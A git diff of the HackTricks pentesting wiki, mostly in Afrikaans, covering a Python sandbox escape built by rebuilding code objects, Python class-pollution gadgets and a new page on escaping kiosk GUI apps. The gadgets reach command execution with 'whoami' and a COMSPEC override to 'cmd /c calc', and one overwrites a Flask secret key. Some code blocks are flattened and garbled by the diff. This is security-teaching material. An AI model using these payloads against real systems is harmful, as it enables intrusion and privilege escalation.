@ -921,9 +996,11 @@ return calc_flag("VjkuKuVjgHnci")
|
|||
else:
|
||||
return "Nope"
|
||||
```
|
||||
|
||||
### Skep die kode-object
|
||||
|
||||
Eerstens moet ons weet **hoe om 'n kode-object te skep en uit te voer** sodat ons een kan skep om ons funksie leaked uit te voer:
|
||||
|
||||
```python
|
||||
code_type = type((lambda: None).__code__)
|
||||
# Check the following hint if you get an error in calling this
|
||||
|
@ -942,8 +1019,10 @@ mydict = {}
|
|||
mydict['__builtins__'] = __builtins__
|
||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
|
||||
{% hint style="info" %}
|
||||
Afhanklik van die python weergawe kan die **parameters** van `code_type` 'n **verskillende volgorde** hê. Die beste manier om die volgorde van die parameters in die python weergawe wat jy gebruik te weet, is om die volgende te hardloop:
|
||||
|
||||
```
|
||||
import types
|
||||
types.CodeType.__doc__
|
||||
|
@ -956,6 +1035,7 @@ types.CodeType.__doc__
|
|||
{% hint style="warning" %}
|
||||
In die volgende voorbeeld gaan ons al die data neem wat nodig is om die funksie te herskep van die funksie kode objek direk. In 'n **werklike voorbeeld**, is al die **waardes** om die funksie uit te voer **`code_type`** wat **jy sal moet lek**.
|
||||
{% endhint %}
|
||||
|
||||
```python
|
||||
fc = get_flag.__code__
|
||||
# In a real situation the values like fc.co_argcount are the ones you need to leak
|
||||
|
@ -966,12 +1046,14 @@ mydict['__builtins__'] = __builtins__
|
|||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
#ThisIsTheFlag
|
||||
```
|
||||
|
||||
### Bypass Verdediging
|
||||
|
||||
In vorige voorbeelde aan die begin van hierdie pos, kan jy sien **hoe om enige python kode uit te voer met behulp van die `compile` funksie**. Dit is interessant omdat jy **hele skripte kan uitvoer** met lusse en alles in 'n **een-liner** (en ons kon dieselfde doen met **`exec`**).\
|
||||
In elk geval, soms kan dit nuttig wees om 'n **gekompilieerde objek** te **skep** op 'n plaaslike masjien en dit uit te voer op die **CTF masjien** (byvoorbeeld omdat ons nie die `compiled` funksie in die CTF het nie).
|
||||
|
||||
Byvoorbeeld, laat ons 'n funksie handmatig kompileer en uitvoer wat _./poc.py_ lees:
|
||||
|
||||
```python
|
||||
#Locally
|
||||
def read():
|
||||
|
@ -998,7 +1080,9 @@ mydict['__builtins__'] = __builtins__
|
|||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||
function_type(codeobj, mydict, None, None, None)()
|
||||
```
|
||||
|
||||
Indien jy nie toegang tot `eval` of `exec` het nie, kan jy 'n **korrekte funksie** skep, maar om dit direk aan te roep, sal gewoonlik misluk met: _konstrukteur nie toeganklik in beperkte modus nie_. Jy het dus 'n **funksie buite die beperkte omgewing nodig om hierdie funksie aan te roep.**
|
||||
|
||||
```python
|
||||
#Compile a regular print
|
||||
ftype = type(lambda: None)
|
||||
|
@ -1006,14 +1090,15 @@ ctype = type((lambda: None).func_code)
|
|||
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
|
||||
f(42)
|
||||
```
|
||||
|
||||
## Decompiling Compiled Python
|
||||
|
||||
Met behulp van gereedskap soos [**https://www.decompiler.com/**](https://www.decompiler.com) kan men die gegeewe saamgestelde Python-kode **decompile**.
|
||||
|
||||
**Kyk na hierdie handleiding**:
|
||||
|
||||
{% content-ref url="../../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
|
||||
[.pyc.md](../../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
||||
{% content-ref url="../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
|
||||
[.pyc.md](../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Misc Python
|
||||
|
@ -1022,6 +1107,7 @@ Met behulp van gereedskap soos [**https://www.decompiler.com/**](https://www.dec
|
|||
|
||||
Python wat uitgevoer word met optimiserings met die parameter `-O` sal `assert`-verklarings verwyder en enige kode wat kondisioneel is op die waarde van **debug**.\
|
||||
Daarom, kontroles soos
|
||||
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
try:
|
||||
|
@ -1030,6 +1116,7 @@ print("\nYou are a super user\n")
|
|||
except AssertionError:
|
||||
print(f"\nNot a Super User!!!\n")
|
||||
```
|
||||
|
||||
## Verwysings
|
||||
|
||||
* [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/)
|
||||
|
@ -1041,7 +1128,7 @@ print(f"\nNot a Super User!!!\n")
|
|||
|
||||
**Probeer Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Klasverontreiniging (Python se Prototipeverontreiniging)
|
||||
# Class Pollution (Python's Prototype Pollution)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,7 +9,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
||||
|
||||
</details>
|
||||
|
@ -17,6 +17,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
## Basiese Voorbeeld
|
||||
|
||||
Kyk hoe dit moontlik is om klasse van voorwerpe met strings te verontreinig:
|
||||
|
||||
```python
|
||||
class Company: pass
|
||||
class Developer(Company): pass
|
||||
|
@ -40,6 +41,7 @@ e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'
|
|||
print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
|
||||
print(c) #<__main__.Polluted_Company object at 0x1043a72b0>
|
||||
```
|
||||
|
||||
## Basiese Kwesbaarheidsvoorbeeld
|
||||
|
||||
Consider the following Python code:
|
||||
|
@ -83,6 +85,7 @@ Dit sal die string "password123" uitdruk, selfs al is die `get_password`-metode
|
|||
This is an example of class pollution or prototype pollution vulnerability. By modifying the class prototype, the attacker is able to add or modify methods and properties of the class at runtime, potentially leading to unauthorized access or manipulation of data.
|
||||
|
||||
Dit is 'n voorbeeld van 'n klasverontreiniging of prototipeverontreiniging-kwesbaarheid. Deur die klasprototipe te wysig, kan die aanvaller metodes en eienskappe van die klas byvoeg of wysig tydens uitvoering, wat moontlik kan lei tot ongemagtigde toegang of manipulasie van data.
|
||||
|
||||
```python
|
||||
# Initial state
|
||||
class Employee: pass
|
||||
|
@ -115,57 +118,36 @@ USER_INPUT = {
|
|||
merge(USER_INPUT, emp)
|
||||
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
|
||||
```
|
||||
|
||||
## Voorbeelde van Gadget
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Skep klas eienskap se verstekwaarde na RCE (subproses)</summary>
|
||||
```python
|
||||
from os import popen
|
||||
class Employee: pass # Creating an empty class
|
||||
class HR(Employee): pass # Class inherits from Employee class
|
||||
class Recruiter(HR): pass # Class inherits from HR class
|
||||
|
||||
class SystemAdmin(Employee): # Class inherits from Employee class
|
||||
def execute_command(self):
|
||||
command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there'
|
||||
return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
|
||||
\`\`\`python from os import popen class Employee: pass # Creating an empty class class HR(Employee): pass # Class inherits from Employee class class Recruiter(HR): pass # Class inherits from HR class
|
||||
|
||||
class SystemAdmin(Employee): # Class inherits from Employee class def execute\_command(self): command = self.custom\_command if hasattr(self, 'custom\_command') else 'echo Hello there' return f'\[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
|
||||
|
||||
def merge(src, dst):
|
||||
# Recursive merge function
|
||||
for k, v in src.items():
|
||||
if hasattr(dst, '__getitem__'):
|
||||
if dst.get(k) and type(v) == dict:
|
||||
merge(v, dst.get(k))
|
||||
else:
|
||||
dst[k] = v
|
||||
elif hasattr(dst, k) and type(v) == dict:
|
||||
merge(v, getattr(dst, k))
|
||||
else:
|
||||
setattr(dst, k, v)
|
||||
|
||||
USER_INPUT = {
|
||||
"__class__":{
|
||||
"__base__":{
|
||||
"__base__":{
|
||||
"custom_command": "whoami"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
## Recursive merge function
|
||||
|
||||
recruiter_emp = Recruiter()
|
||||
system_admin_emp = SystemAdmin()
|
||||
for k, v in src.items(): if hasattr(dst, '**getitem**'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst\[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
|
||||
|
||||
print(system_admin_emp.execute_command())
|
||||
#> [!] Executing: "echo Hello there", output: "Hello there"
|
||||
USER\_INPUT = { "**class**":{ "**base**":{ "**base**":{ "custom\_command": "whoami" } } } }
|
||||
|
||||
# Create default value for Employee.custom_command
|
||||
merge(USER_INPUT, recruiter_emp)
|
||||
recruiter\_emp = Recruiter() system\_admin\_emp = SystemAdmin()
|
||||
|
||||
print(system_admin_emp.execute_command())
|
||||
#> [!] Executing: "whoami", output: "abdulrah33m"
|
||||
```
|
||||
print(system\_admin\_emp.execute\_command()) #> \[!] Executing: "echo Hello there", output: "Hello there"
|
||||
|
||||
## Create default value for Employee.custom\_command
|
||||
|
||||
merge(USER\_INPUT, recruiter\_emp)
|
||||
|
||||
print(system\_admin\_emp.execute\_command()) #> \[!] Executing: "whoami", output: "abdulrah33m"
|
||||
|
||||
````
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
@ -197,39 +179,33 @@ merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Pollut
|
|||
|
||||
print(not_accessible_variable) #> Polluted variable
|
||||
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
|
||||
```
|
||||
````
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Willekeurige onderprocesuitvoering</summary>
|
||||
```python
|
||||
import subprocess, json
|
||||
|
||||
class Employee:
|
||||
def __init__(self):
|
||||
pass
|
||||
\`\`\`python import subprocess, json
|
||||
|
||||
class Employee: def **init**(self): pass
|
||||
|
||||
def merge(src, dst):
|
||||
# Recursive merge function
|
||||
for k, v in src.items():
|
||||
if hasattr(dst, '__getitem__'):
|
||||
if dst.get(k) and type(v) == dict:
|
||||
merge(v, dst.get(k))
|
||||
else:
|
||||
dst[k] = v
|
||||
elif hasattr(dst, k) and type(v) == dict:
|
||||
merge(v, getattr(dst, k))
|
||||
else:
|
||||
setattr(dst, k, v)
|
||||
|
||||
# Overwrite env var "COMSPEC" to execute a calc
|
||||
USER_INPUT = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value
|
||||
## Recursive merge function
|
||||
|
||||
merge(USER_INPUT, Employee())
|
||||
for k, v in src.items(): if hasattr(dst, '**getitem**'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst\[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
|
||||
|
||||
## Overwrite env var "COMSPEC" to execute a calc
|
||||
|
||||
USER\_INPUT = json.loads('{"**init**":{"**globals**":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"\}}\}}\}}') # attacker-controlled value
|
||||
|
||||
merge(USER\_INPUT, Employee())
|
||||
|
||||
subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
|
||||
```
|
||||
|
||||
````
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
@ -272,19 +248,22 @@ merge(emp_info, Employee())
|
|||
print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
|
||||
execute() #> Executing echo Polluted
|
||||
#> Polluted
|
||||
```
|
||||
````
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Oorskryf Flask-geheim regoor lêers</summary>
|
||||
|
||||
So, as jy 'n klasvervuiling kan doen oor 'n voorwerp wat in die hoof Python-lêer van die web gedefinieer is, **maar waarvan die klas in 'n ander lêer gedefinieer is** as die hoof een. Omdat jy in die vorige payloads toegang tot \_\_globals\_\_ moet hê, moet jy toegang tot die klas van die voorwerp of metodes van die klas hê, sal jy in staat wees om **die globals in daardie lêer te benader, maar nie in die hoof een nie**. \
|
||||
So, as jy 'n klasvervuiling kan doen oor 'n voorwerp wat in die hoof Python-lêer van die web gedefinieer is, **maar waarvan die klas in 'n ander lêer gedefinieer is** as die hoof een. Omdat jy in die vorige payloads toegang tot \_\_globals\_\_ moet hê, moet jy toegang tot die klas van die voorwerp of metodes van die klas hê, sal jy in staat wees om **die globals in daardie lêer te benader, maar nie in die hoof een nie**.\
|
||||
Daarom sal jy **nie toegang hê tot die Flask-app globale voorwerp** wat die **geheime sleutel** in die hoofbladsy gedefinieer het nie:
|
||||
|
||||
```python
|
||||
app = Flask(__name__, template_folder='templates')
|
||||
app.secret_key = '(:secret:)'
|
||||
```
|
||||
|
||||
In hierdie scenario het jy 'n toestel nodig om deur lêers te beweeg om by die hooflêer te kom om toegang te verkry tot die globale objek `app.secret_key` om die Flask-geheime sleutel te verander en sodoende [voorregte te verhoog deur hierdie sleutel te ken](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
|
||||
|
||||
'n Nutslading soos hierdie een [uit hierdie skryfstuk](https://ctftime.org/writeup/36082):
|
||||
|
@ -318,7 +297,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
300
hardware-physical-access/escaping-from-gui-applications.md
Normal file
300
hardware-physical-access/escaping-from-gui-applications.md
Normal file
|
@ -0,0 +1,300 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Kyk vir moontlike aksies binne die GUI-toepassing
|
||||
|
||||
**Gewone dialoë** is daardie opsies soos **'n lêer stoor', 'n lêer oopmaak', 'n lettertipe kies', 'n kleur kies'... Die meeste van hulle sal 'n volledige Verkenner-funksionaliteit bied. Dit beteken dat jy Verkenner-funksies kan gebruik as jy toegang het tot hierdie opsies:
|
||||
|
||||
* Sluit/Sluit as
|
||||
* Maak oop/Maak oop met
|
||||
* Druk
|
||||
* Uitvoer/Invoer
|
||||
* Soek
|
||||
* Skandeer
|
||||
|
||||
Jy moet kyk of jy kan:
|
||||
|
||||
* Lêers wysig of nuwe lêers skep
|
||||
* Simboliese skakels skep
|
||||
* Toegang kry tot beperkte areas
|
||||
* Ander programme uitvoer
|
||||
|
||||
## Opdraguitvoering
|
||||
|
||||
Miskien kan jy **deur die gebruik van 'n `Maak oop met`-opsie** 'n sekere soort skel uitvoer/maak oop.
|
||||
|
||||
### Windows
|
||||
|
||||
Byvoorbeeld _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ vind meer binnerwerke wat gebruik kan word om opdragte uit te voer (en onverwagte aksies uit te voer) hier: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
|
||||
|
||||
### \*NIX __
|
||||
|
||||
_bash, sh, zsh..._ Meer hier: [https://gtfobins.github.io/](https://gtfobins.github.io)
|
||||
|
||||
# Windows
|
||||
|
||||
## Om padbeperkings te omseil
|
||||
|
||||
* **Omgewingsveranderlikes**: Daar is baie omgewingsveranderlikes wat na 'n sekere pad wys
|
||||
* **Ander protokolle**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
|
||||
* **Simboliese skakels**
|
||||
* **Kortpaaie**: CTRL+N (maak nuwe sessie oop), CTRL+R (Voer opdragte uit), CTRL+SHIFT+ESC (Taakbestuurder), Windows+E (maak Verkenner oop), CTRL-B, CTRL-I (Gunstelinge), CTRL-H (Geskiedenis), CTRL-L, CTRL-O (Lêer/Oopmaak-dialoog), CTRL-P (Druk-dialoog), CTRL-S (Stoor as)
|
||||
* Versteekte Administratiewe kieslys: CTRL-ALT-F8, CTRL-ESC-F9
|
||||
* **Shell-URI's**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
|
||||
* **UNC-paaie**: Paaie om aan gedeelde lêers te koppel. Jy moet probeer om aan die C$ van die plaaslike masjien te koppel ("\\\127.0.0.1\c$\Windows\System32")
|
||||
* **Meer UNC-paaie:**
|
||||
|
||||
| UNC | UNC | UNC |
|
||||
| ------------------------- | -------------- | -------------------- |
|
||||
| %ALLUSERSPROFILE% | %APPDATA% | %CommonProgramFiles% |
|
||||
| %COMMONPROGRAMFILES(x86)% | %COMPUTERNAME% | %COMSPEC% |
|
||||
| %HOMEDRIVE% | %HOMEPATH% | %LOCALAPPDATA% |
|
||||
| %LOGONSERVER% | %PATH% | %PATHEXT% |
|
||||
| %ProgramData% | %ProgramFiles% | %ProgramFiles(x86)% |
|
||||
| %PROMPT% | %PSModulePath% | %Public% |
|
||||
| %SYSTEMDRIVE% | %SYSTEMROOT% | %TEMP% |
|
||||
| %TMP% | %USERDOMAIN% | %USERNAME% |
|
||||
| %USERPROFILE% | %WINDIR% | |
|
||||
|
||||
## Laai jou binnerwerke af
|
||||
|
||||
Konsol: [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\
|
||||
Verkenner: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\
|
||||
Registreerredigeerder: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
|
||||
|
||||
## Toegang tot lêersisteem vanuit die blaaier
|
||||
|
||||
| PAD | PAD | PAD | PAD |
|
||||
| ------------------- | ----------------- | ------------------ | ------------------- |
|
||||
| File:/C:/windows | File:/C:/windows/ | File:/C:/windows\\ | File:/C:\windows |
|
||||
| File:/C:\windows\\ | File:/C:\windows/ | File://C:/windows | File://C:/windows/ |
|
||||
| File://C:/windows\\ | File://C:\windows | File://C:\windows/ | File://C:\windows\\ |
|
||||
| C:/windows | C:/windows/ | C:/windows\\ | C:\windows |
|
||||
| C:\windows\\ | C:\windows/ | %WINDIR% | %TMP% |
|
||||
| %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% |
|
||||
| %HOMEDRIVE% | %HOMESHARE | | <p><br></p> |
|
||||
|
||||
## Kortpaaie
|
||||
|
||||
* Plakkerige Sleutels – Druk SHIFT 5 keer
|
||||
* Muis Sleutels – SHIFT+ALT+NUMLOCK
|
||||
* Hoë Kontras – SHIFT+ALT+PRINTSCN
|
||||
* Wissel Sleutels – Hou NUMLOCK vir 5 sekondes
|
||||
* Filter Sleutels – Hou regter SHIFT vir 12 sekondes
|
||||
* WINDOWS+F1 – Windows Soek
|
||||
* WINDOWS+D – Wys Skermblad
|
||||
* WINDOWS+E – Lanceer Windows Verkenner
|
||||
* WINDOWS+R – Hardloop
|
||||
* WINDOWS+U – Toeganklikheidsentrum
|
||||
* WINDOWS+F – Soek
|
||||
* SHIFT+F10 – Konteks Menu
|
||||
* CTRL+SHIFT+ESC – Taakbestuurder
|
||||
* CTRL+ALT+DEL – Skermblad op nuwer Windows-weergawes
|
||||
* F1 – Hulp F3 – Soek
|
||||
* F6 – Adresbalk
|
||||
* F11 – Wissel volledige skerm binne Internet Explorer
|
||||
* CTRL+H – Internet Explorer Geskiedenis
|
||||
* CTRL+T – Internet Explorer – Nuwe Blad
|
||||
* CTRL+N – Internet Explorer – Nuwe Bladsy
|
||||
* CTRL+O – Maak Lêer Oop
|
||||
* CTRL+S – Stoor CTRL+N – Nuwe RDP / Citrix
|
||||
## Swaai
|
||||
|
||||
* Swaai van die linkerkant na die regterkant om alle oop vensters te sien, waardeur die KIOSK-toepassing geminimaliseer word en direkte toegang tot die hele bedryfstelsel verkry word;
|
||||
* Swaai van die regterkant na die linkerkant om die Aksiesentrum oop te maak, waardeur die KIOSK-toepassing geminimaliseer word en direkte toegang tot die hele bedryfstelsel verkry word;
|
||||
* Swaai in van die boonste rand om die titelbalk sigbaar te maak vir 'n toepassing wat in volledige skermmodus geopen is;
|
||||
* Swaai op van die onderkant om die taakbalk in 'n volledige skermtoepassing te wys.
|
||||
|
||||
## Internet Explorer Truuks
|
||||
|
||||
### 'Beeldwerkset'
|
||||
|
||||
Dit is 'n werkbalk wat verskyn aan die bokant-links van 'n prent as dit geklik word. Jy sal in staat wees om dit te Stoor, Druk, Mailto, "My prente" in Verkenner oop te maak. Die Kiosk moet Internet Explorer gebruik.
|
||||
|
||||
### Skulpotokol
|
||||
|
||||
Tik hierdie URL's om 'n Verkenner-weergawe te verkry:
|
||||
|
||||
* `shell:Administratiewe Hulpmiddels`
|
||||
* `shell:DokumenteBiblioteek`
|
||||
* `shell:Libraries`
|
||||
* `shell:Gebruikersprofiele`
|
||||
* `shell:Persoonlik`
|
||||
* `shell:SoekTuisblad`
|
||||
* `shell:Netwerkplekke`
|
||||
* `shell:StuurNa`
|
||||
* `shell:Gebruikersprofiele`
|
||||
* `shell:Gemeenskaplike Administratiewe Hulpmiddels`
|
||||
* `shell:MyRekenaarVouer`
|
||||
* `shell:InternetVouer`
|
||||
* `Shell:Profiel`
|
||||
* `Shell:Programlêers`
|
||||
* `Shell:System`
|
||||
* `Shell:BeheerpaneelVouer`
|
||||
* `Shell:Windows`
|
||||
* `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Beheerpaneel
|
||||
* `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> My Rekenaar
|
||||
* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> My Netwerkplekke
|
||||
* `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer
|
||||
|
||||
## Wys Lêeruitbreidings
|
||||
|
||||
Kyk na hierdie bladsy vir meer inligting: [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml)
|
||||
|
||||
# Blaaier truuks
|
||||
|
||||
Maak 'n rugsteun van iKat-weergawes:
|
||||
|
||||
[http://swin.es/k/](http://swin.es/k/)\
|
||||
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\
|
||||
|
||||
Skep 'n gemeenskaplike dialoogvenster met behulp van JavaScript en kry toegang tot lêerverkenner: `document.write('<input/type=file>')`
|
||||
Bron: https://medium.com/@Rend_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
|
||||
|
||||
# iPad
|
||||
|
||||
## Gebare en knoppies
|
||||
|
||||
* Swaai op met vier (of vyf) vingers / Dubbeltik op die Huis-knoppie: Om die multitask-weergawe te sien en App te verander
|
||||
|
||||
* Swaai een kant of die ander met vier of vyf vingers: Om na die volgende/vorige App te verander
|
||||
|
||||
* Knyp die skerm met vyf vingers / Raak die Huis-knoppie aan / Swaai op met 1 vinger van die onderkant van die skerm in 'n vinnige beweging na bo: Om by die Huis te kom
|
||||
|
||||
* Swaai een vinger van die onderkant van die skerm net 1-2 duim (stadig): Die dok sal verskyn
|
||||
|
||||
* Swaai af van die boonste gedeelte van die vertoning met 1 vinger: Om jou kennisgewings te sien
|
||||
|
||||
* Swaai af met 1 vinger die bokant-regterhoek van die skerm: Om die beheersentrum van die iPad Pro te sien
|
||||
|
||||
* Swaai 1 vinger van die linkerkant van die skerm 1-2 duim: Om die Vandaag-weergawe te sien
|
||||
|
||||
* Swaai vinnig 1 vinger van die middel van die skerm na regs of links: Om na die volgende/vorige App te verander
|
||||
|
||||
* Druk en hou die Aan/**Af**/Slaap-knoppie aan die bokant-regterhoek van die **iPad +** Skuif die "skakelaar vir aflaai" heeltemal na regs: Om af te skakel
|
||||
|
||||
* Druk die Aan/**Af**/Slaap-knoppie aan die bokant-regterhoek van die **iPad en die Huis-knoppie vir 'n paar sekondes**: Om 'n harde krag af te dwing
|
||||
|
||||
* Druk die Aan/**Af**/Slaap-knoppie aan die bokant-regterhoek van die **iPad en die Huis-knoppie vinnig**: Om 'n skermkiekie te neem wat in die onderste linkerkant van die vertoning sal verskyn. Druk beide knoppies terselfdertyd baie kort in, asof jy hulle 'n paar sekondes vashou, sal 'n harde krag afgedwing word.
|
||||
|
||||
## Kortpaaie
|
||||
|
||||
Jy moet 'n iPad-toetsbord of 'n USB-toetsbord-adapter hê. Slegs kortpaaie wat kan help om te ontsnap uit die toepassing, sal hier gewys word.
|
||||
|
||||
| Sleutel | Naam |
|
||||
| --- | ------------ |
|
||||
| ⌘ | Bevel |
|
||||
| ⌥ | Opsie (Alt) |
|
||||
| ⇧ | Skuif |
|
||||
| ↩ | Terugkeer |
|
||||
| ⇥ | Tab |
|
||||
| ^ | Beheer |
|
||||
| ← | Linkerpyl |
|
||||
| → | Regterpyl |
|
||||
| ↑ | Op-pyl |
|
||||
| ↓ | Af-pyl |
|
||||
|
||||
### Stelselkortpaaie
|
||||
|
||||
Hierdie kortpaaie is vir die visuele instellings en klankinstellings, afhangende van die gebruik van die iPad.
|
||||
|
||||
| Kortpad | Aksie |
|
||||
| -------- | ------------------------------------------------------------------------------ |
|
||||
| F1 | Verdonker skerm |
|
||||
| F2 | Verhelder skerm |
|
||||
| F7 | Terug een liedjie |
|
||||
| F8 | Speel/pouseer |
|
||||
| F9 | Oorslaan liedjie |
|
||||
| F10 | Stil |
|
||||
| F11 | Verlaag volume |
|
||||
| F12 | Verhoog volume |
|
||||
| ⌘ Spasie | Wys 'n lys van beskikbare tale; om een te kies, tik weer op die spasiebalk. |
|
||||
|
||||
### iPad navigasie
|
||||
|
||||
| Kortpad | Aksie |
|
||||
| -------------------------------------------------- | ------------------------------------------------------- |
|
||||
| ⌘H | Gaan na die Huis |
|
||||
| ⌘⇧H (Bevel-Shift-H) | Gaan na die Huis |
|
||||
| ⌘ (Spasie) | Maak Spotlight oop |
|
||||
| ⌘⇥ (Bevel-Tab) | Lys die laaste tien gebruikte programme |
|
||||
| ⌘\~ | Gaan na die laaste App |
|
||||
